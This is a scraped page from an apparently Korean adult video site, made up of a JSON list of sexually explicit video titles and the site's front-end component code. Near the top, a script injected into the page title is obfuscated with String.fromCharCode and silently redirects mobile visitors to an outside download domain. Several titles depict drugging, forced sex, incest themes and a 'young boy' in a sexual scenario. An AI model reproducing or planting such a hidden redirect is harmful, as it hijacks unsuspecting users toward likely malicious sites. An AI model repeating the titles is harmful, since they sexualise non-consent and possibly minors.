추천 영상
05:47
</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>PeasantsQuest 게임플레이 87 임신한 중년 아내는 자신을 가득 채워줄 거대한 남근을 좋아합니다.</script></title>
PeasantsQuest 게임플레이 87 임신한 중년 아내는 자신을 가득 채워줄 거대한 남근을 좋아합니다.","lastmod":"2026-07-11","duration":"05:47","url":"/play/19164393.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOWM0Yzg2NjNhZmNkNDM2OWE1ODlmNWQzYWRhOWZmMDguanBn.cache","vod_id":19014674,"title":"CESD772 이웃과 당신의 성기를 나눠보세요! 젊은 남자들을 잡아먹는 육식 주부들: 모리사와 카나, 하타노 유이, 오츠키 히비키.","lastmod":"2025-03-24","duration":"02:03:56","url":"/play/19014674.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOTAyN2RhMGY5YmY2OTI5ZGQ1Y2YyYjIyMThlM2JkMzEuanBn.cache","vod_id":18977631,"title":"[중국어 자막] JJDD-002 어린 소년의 질내 사정 요청을 거절하지 못한 중년의 유모가 그의 호의를 이용한다.","lastmod":"2025-03-23","duration":"02:14:55","url":"/play/18977631.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEwMDgvMTlkZmY0MDdlMjg0MzFmM2FmNDgzZTZkNTc4ZDdjYTQuanBn.cache","vod_id":19056697,"title":"스위트 NTR: 아내가 수상한 사진을 보냈다. (미토 카나, JUQ913)","lastmod":"2025-10-07","duration":"02:22:59","url":"/play/19056697.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MTAvMzBkYmNiZGEzN2M0N2NiOTY0NWUwNTI4NjVkMWQxNjkuanBn.cache","vod_id":19167489,"title":"
\"남편이 있어서 절대 오르가즘을 느낄 수 없었는데… 아내 미오 마오와 고로 류이케가 그녀의 의붓아버지와 프렌치 키스와 성관계를 통해 저를 주체할 수 없는 오르가즘에 이르게 했습니다.\"","lastmod":"2026-07-11","duration":"01:59:50","url":"/play/19167489.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNDg4MmI0YjBjOTBmNmE1ZWM1MjU3NDlmN2VkYTg2MGYuanBn.cache","vod_id":19005303,"title":"MIAA-917-C 한 유명인의 아내가 쓰레기 처리실에 갇혀 최음제를 투여받아 반복적으로 오르가즘을 경험하며, 가느다란 허리와 아름다운 엉덩이를 비틀고 땀을 흠뻑 흘리며 절정에 이른다.","lastmod":"2025-03-23","duration":"02:25:11","url":"/play/19005303.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYjc4ZjgzNTg1YTU2ZmEwODc3ZjRkNjUxZDZkOTJmNzIuanBn.cache","vod_id":18975638,"title":"매혹적인 젊은 여성이 검은 스타킹을 신고 침대에 누워 젊은 남성이 에센셜 오일로 마사지해주는 것을 즐기고 있었다. 그는 그녀의 가슴을 주무르고, 음부를 애무하고, 그녀에게 오럴 섹스를 강요한 후, 커다란 성기로 여러 체위로 그녀와 성관계를 가졌다.","lastmod":"2025-12-14","duration":"01:21:29","url":"/play/18975638.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNzRjOWM1OGRkNWI4ODg5NTc0NTU0ZmVlOGMxMzBkZDYuanBn.cache","vod_id":18952866,"title":"VOSS-067 우리 장모님은 정말 골칫덩어리야! 임신하려고 한 달 동안 금욕해서 모아둔 진한 정자를 전부 훔쳐갔어! 오늘 밤 아내를 임신시킬 거야.","lastmod":"2025-03-22","duration":"01:22:09","url":"/play/18952866.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTExMDkvMDUxM2RmYWZlMDVmNzFjN2FlMDk4NmE2NzhkZjU3YmYuanBn.cache","vod_id":19061737,"title":"아내와의 첫 경험, 2장, 안난 제베이, 싱난 제베이 지음, JURA_121","lastmod":"2025-12-13","duration":"02:01:20","url":"/play/19061737.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMTMvZDNlMDUxNTRiZGQxM2I1YjFmZjIxYzA4MDVkNTllZjQuanBn.cache","vod_id":19064647,"title":"리버스 NTR 마사지 살롱 ~ 아내 친구의 달콤한 녹는 손길, 애무 마사지, 몸과 마음의 타락 ~ 마리코 사다 JUQ-550","lastmod":"2025-12-14","duration":"02:03:08","url":"/play/19064647.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZjE4NDdhMDkwMjZiMDhiNmU2MTZkYWRkMGUwNmQ3ZGYuanBn.cache","vod_id":18927268,"title":"FC2PPV-1272838 [재회] 아름다운 가슴과 날씬한 몸매를 가진 43세 유부녀의 섹스.","lastmod":"2025-12-14","duration":"00:54:02","url":"/play/18927268.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYzM0MzJlYjk5N2RhNTY5ZjE1YTViOGU5NGY2YmU4MGYuanBn.cache","vod_id":18991183,"title":"BIJN-177 다른 남자의 성기에 완전히 흥분하는 나를 보세요... 어둑한 방에서 육감적인 젊은 아내의 욕망이 깨어나고, F컵 가슴은 끊임없이 흘러나오는 정액으로 가득 채워집니다 - 에리카 하타","lastmod":"2025-12-14","duration":"02:16:57","url":"/play/18991183.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA0MTgvNzE5NjkwZmU2ZThkOGRlZGYxMjg4YmEyNzRlN2ZkNWEuanBn.cache","vod_id":19029731,"title":"저를 키워주신 양언니가 제 파렴치한 친구에게 배신당했어요. (무카이 란, JUQ-128-C)","lastmod":"2025-04-18","duration":"01:59:09","url":"/play/19029731.html"}]},
videoTitle: 'NGOD-074는 현재 오락 목적으로만 제공됩니다. NTR ~가느다란 허리와 풍만한 가슴을 가진 불운한 젊은 아내~ 후타바 요시카',
language: 'ko',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('링크 복사 완료!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('링크 복사 완료!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('링크 복사 완료!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}